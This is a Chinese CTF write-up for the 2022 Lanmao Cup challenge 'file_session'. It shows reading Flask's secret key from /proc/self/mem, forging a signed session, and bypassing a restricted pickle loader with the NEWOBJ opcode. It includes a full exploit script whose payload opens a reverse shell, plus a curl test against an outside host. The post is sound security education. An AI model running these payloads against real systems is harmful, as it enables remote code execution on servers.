【2022蓝帽杯】file_session && 浅入opcode

0x00 前言

每次蓝帽的web总能让人坐牢
事情太多(人也菜) 断断续续磨了很长一段时间的东西

0x01 brain.md

读一下源码

/download?file=/proc/self/cwd/app.py

显然我们需要通过伪造session 触发pickle反序列化来rce


import base64
import os
import uuid

from flask import Flask, request, session, render_template

from pickle import _loads

SECRET_KEY = str(uuid.uuid4())

app = Flask(__name__)
app.config.update(dict(
    SECRET_KEY=SECRET_KEY,
))


# apt install python3.8

@app.route('/', methods=['GET'])
def index():
    return "/download?file=?"


@app.route('/download', methods=["GET", 'POST'])
def download():
    print(SECRET_KEY)
    filename = request.args.get('file', "static/image/1.jpg")
    offset = request.args.get('offset', "0")
    length = request.args.get('length', "0")
    if offset == "0" and length == "0":
        return open(filename, "rb").read()
    else:
        offset, length = int(offset), int(length)
        f = open(filename, "rb")
        f.seek(offset)
        ret_data = f.read(length)
        return ret_data


@app.route('/filelist', methods=["GET"])
def filelist():
    return f"{str(os.listdir('./static/image/'))} /download?file=static/image/1.jpg"


@app.route('/admin_pickle_load', methods=["GET"])
def admin_pickle_load():
    if session.get('data'):
        data = _loads(base64.b64decode(session['data']))
        return data
    session["data"] = base64.b64encode(b"error")
    return 'admin pickle'


if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=8888)

/proc/self/maps读取maps上内存地址
在这里插入图片描述


>>> int(0x7f650b674000)
140071959740416
>>> int(0x7f650c274000)
140071972323328
>>> 140071972323328-140071959740416
12582912
>>>

问就是知道python对象存储在堆上(写脚本批量读取也可)

/download?file=/proc/self/mem&offset=140071959740416&length=12582912

导包正则过一下
uuid -> secret_key
6f41f81b-86da-4d13-a720-d06c404f764c
在这里插入图片描述

flask session机制

参考文章
[HCTF2018]两道题了解flask的session机制
引用自师傅文章
flask session加密流程

json.dumps 将对象转换为json字符串。作为数据
若数据压缩后长度更短。则用zlib进行压缩
将数据Base64编码
通过hmac算法计算数据签名。将签名附在数据后。用点分割

格式类似于这种
eyJ1c2VybmFtZSI6InRlc3QifQ.XC7SPg.sV9_ueBW2e4kCoY0sxh14dxsQiY
由三部分组成
eyJ1c2VybmFtZSI6InRlc3QifQ
Base64加密的数据
XC7SPg
时间戳
sV9_ueBW2e4kCoY0sxh14dxsQiY
数据签名。重点在于这个。通过密钥进行签名。防止被篡改

之前没有看时间戳的习惯
看官方wp学习一下
在这里插入图片描述
贴一下官方wp手写的签名脚本
记得之前都是用git上脚本伪造 完全不知所以然

import hmac
import base64


def sign_flask(data, key, times):
    digest_method = 'sha1'

    def base64_decode(string):
        string = string.encode('utf8')
        string += b"=" * (-len(string) % 4)
        try:
            return base64.urlsafe_b64decode(string)
        except (TypeError, ValueError):
            raise print("Invalid base64-encoded data")

    def base64_encode(s):
        return base64.b64encode(s).replace(b'=', b'')

    salt = b'cookie-session'
    mac = hmac.new(key.encode("utf8"), digestmod=digest_method)
    mac.update(salt)
    key = mac.digest()

    msg = base64_encode(data.encode("utf8")) + b'.' + base64_encode(times.to_bytes(8, 'big'))
    data = hmac.new(key, msg=msg, digestmod=digest_method)
    hs = data.digest()
    # print(hs)
    # print(msg+b'.'+ base64_encode(hs))
    # print(int.from_bytes(times.to_bytes(8,'big'),'big'))
    return msg + b'.' + base64_encode(hs)

base64_data = base64.b64encode(b'test')
print(sign_flask('{"data":{" b":"' + base64_data.decode() + '"}}', 'b3876b37-f48e-49af-ab35-b12fe458a64b', 1893532360))

关于上述脚本中的salt digest_method等在源码中都有考证
感兴趣的师傅可以继续往下挖接口 我是懒狗
在这里插入图片描述
替换cookie session值后再访问admin_pickle_load直接返回500并且值不变
表示签名通过了校验,服务端取得了data值,进入_loads反序列化阶段报错
下面就是opcode了

python pickle

比较好的扫盲(复习)文章
从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势
pickle.dumps指定协议版本
在这里插入图片描述

在这里插入图片描述
可以看到0版本看起来比较友好
在这里插入图片描述
opcode详解

https://xz.aliyun.com/t/7012

将最友好的opcode拖出来看一下

b'cnt  
system  	# 导入system push到栈顶
p0 			# 栈顶元素(system)放入memo
(Vwhoami 	# 栈顶push mark + unicode string -> whoami
p			# 栈顶元素放入memo
1tp2        # 
Rp3
.'

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
题目环境作者自写了pickle _loads
在这里插入图片描述
禁用了i R o b
在这里插入图片描述
load_reduce
在这里插入图片描述
通过字典建立opcode到函数之间的映射关系
在这里插入图片描述
先下个断点调试一下 这里先把waf注释掉方便理解
过到最后一步R开始单点
在这里插入图片描述
可以看到先从栈上pop出参数 args
然后指定栈最后一位为函数名 func
执行func(*args)将返回值放在栈上最后一位

>>> a=["system","whoami"]
>>> args=a.pop()
>>> func=a[-1]
>>> args
'whoami'
>>> func
'system'

在这里插入图片描述
再回去看官方wp 他利用的是opcode b’\x81’

在这里插入图片描述
和刚才的load_reduce同理
先从栈上pop出参数args
再从栈上pop出类名cls
–>然后调用cls类的__new__方法 参数为args
此时我们只需要找到一个类的__new__方法 是我们可以利用的即可

cpython

https://github.com/animalize/cpython

关于map的浅入

官方采用了map方法
map方法之前确实没常用过
一开始还不信 居然要迭代操作才能触发mapobject中的func
在这里插入图片描述
参考这篇

https://blog.csdn.net/Flag_ing/article/details/109139315

map函数本身是惰性计算的,因此返回的结果并不是真实结果,而是一个需要被显示迭代的迭代器,可用隐式遍历的方法来强制遍历map作用的序列,从而得出输出结果。直白点说,可以吧map作用后的结果转换为list等类型进行输出。

文章里采用list做隐式遍历
在这里插入图片描述

localtest

发现确实只有加上list之后 nc才接受到了请求

>>> map(eval,["__import__('os').system('curl 1.15.67.48:7777')"])
<map object at 0x7fbe946a3490>
>>> list(map(eval,["__import__('os').system('curl 1.15.67.48:7777')"]))
curl: (52) Empty reply from server
[13312]
粗糙地翻一下源码

在map类中的 __iter__方法为 Implement iter(self).
在这里插入图片描述
在cpython里过一下
在这里插入图片描述

static PyObject *
slot_tp_iter(PyObject *self)
{
    int unbound;
    PyObject *func, *res;
    _Py_IDENTIFIER(__iter__);

    func = lookup_maybe_method(self, &PyId___iter__, &unbound);
    if (func == Py_None) {
        Py_DECREF(func);
        PyErr_Format(PyExc_TypeError,
                     "'%.200s' object is not iterable",
                     Py_TYPE(self)->tp_name);
        return NULL;
    }

    if (func != NULL) {
        res = call_unbound_noarg(unbound, func, self);
        Py_DECREF(func);
        return res;
    }

    PyErr_Clear();
    func = lookup_maybe_method(self, &PyId___getitem__, &unbound);
    if (func == NULL) {
        PyErr_Format(PyExc_TypeError,
                     "'%.200s' object is not iterable",
                     Py_TYPE(self)->tp_name);
        return NULL;
    }
    Py_DECREF(func);
    return PySeqIter_New(self);
}

因为没有研究过cpython 不敢随便解读源码
看网上的资料也比较少(maybe是我不会找)
翻到一个类似的 --> 可以说明 call_unbound_noarg这一步回完成函数执行
在这里插入图片描述

https://posts.careerengine.us/p/60a03be38264e819d87393d6?nav=post_&p=60a0381a954c620ac9855d21

这一篇可能稍详尽些
在这里插入图片描述

浅入动调_loads 看看opcode运作方式

官方wp用的opcode

b= b'''c__builtin__  
map   		# 导入 __builtin__.map并push至栈顶
p0 		# 将栈顶元素放入memo
0(]S'print(1111)'   # 丢弃栈顶第一个元素(class map) 栈顶push一个mark  stack上push一个空list stack上push一个string 'print(1111)'
ap1  		# 弹出栈顶对象字符串 将现有栈顶对象空列表append弹出的字符串 将栈顶对象对应memo键1的值
0](c__builtin__      # 丢弃栈顶元素 push一个空list 向栈顶push一个mark
exec  		# 导入 __builtin__.exec并push至栈顶
g1   		# 从memo获取键1对应的值(字符串 print(1111)) 并push至栈顶
ep2  		# self.metastack pop出一个对象 该对象extend self.stack后替换现有的self.stack
0g0
g2
\x81p3		#实例化新对象 map
0c__builtin__
bytes
p4
g3
\x81
.'''

b"c__builtin__\nmap\np0\n0(]S'print(1111)'\nap1\n0](c__builtin__\nexec\ng1\nep2\n0g0\ng2\n\x81p3\n0c__builtin__\nbytes\np4\ng3\n\x81\n."

只挑了一些我会疑惑的拉了出来
读到p0
将栈顶元素放入 memo键0对应的值
在这里插入图片描述
读到0 丢弃栈顶第一个元素 class map
在这里插入图片描述
]是往stack上push一个空list
在这里插入图片描述
S’print(1111)’ 往stack上push一个字符串 print(1111)
注意看self.stack
在这里插入图片描述
a
简述一下这一步,刚刚self.stack上存在两个元素
0: [] 空列表
1: “print(1111)” 字符串
load_append先弹出栈顶元素 字符串
再把字符串append到现有的栈顶元素(空列表中)
实现列表中append单个对象
在这里插入图片描述
g1 获取memo字典 键1的值 “print(1111)” 并push到栈顶
在这里插入图片描述
e
将self.stack保存在items变量中 弹出self.metastack的一个对象(空列表)替换现有self.stack
self.stack中extend一个序列(items 之前的self.stack)
在这里插入图片描述

def pop_mark(self):
        items = self.stack
        self.stack = self.metastack.pop()
        self.append = self.stack.append
        return items

\x81
此时stack栈上一个class map
一个序列 (,[‘print(1111)’])
依次取出作为参数args和类cls

在这里插入图片描述
obj实例化出来
在这里插入图片描述
其他的都是依葫芦画瓢 不做冗余描述了
懒狗贴个exp以备不时之需

import requests
import hmac
import base64


def sign_flask(data, key, times):
    digest_method = 'sha1'

    def base64_decode(string):
        string = string.encode('utf8')
        string += b"=" * (-len(string) % 4)
        try:
            return base64.urlsafe_b64decode(string)
        except (TypeError, ValueError):
            raise print("Invalid base64-encoded data")

    def base64_encode(s):
        return base64.b64encode(s).replace(b'=', b'')

    salt = b'cookie-session'
    mac = hmac.new(key.encode("utf8"), digestmod=digest_method)
    mac.update(salt)
    key = mac.digest()

    msg = base64_encode(data.encode("utf8")) + b'.' + base64_encode(times.to_bytes(8, 'big'))
    data = hmac.new(key, msg=msg, digestmod=digest_method)
    hs = data.digest()
    # print(hs)
    # print(msg+b'.'+ base64_encode(hs))
    # print(int.from_bytes(times.to_bytes(8,'big'),'big'))
    return msg + b'.' + base64_encode(hs)


def Cmd(url):
    code = b'''c__builtin__
map
p0
0(]S'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.244.133",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
ap1
0](c__builtin__
exec
g1
ep2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
g3
\x81
.'''

    # /usr/lib/python3.8/pickle.py
    tmp_payload = base64.b64encode(base64.b64encode(code)).decode()
    payload = sign_flask('{"data":{" b":"' + tmp_payload + '"}}', 'b3876b37-f48e-49af-ab35-b12fe458a64b', 1893532360)
    cookies = {"session": payload.decode()}
    print(payload)
    sess = requests.session()
    print(sess.get(url + '/admin_pickle_load', cookies=cookies).text)


url = "http://192.168.244.133:7410/"
Cmd(url)

参考文章

https://xz.aliyun.com/t/7012

0x02 rethink

谢谢队里大哥的耐心讲解 磕一个先
协调好手里的事情 争取早日复现完

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值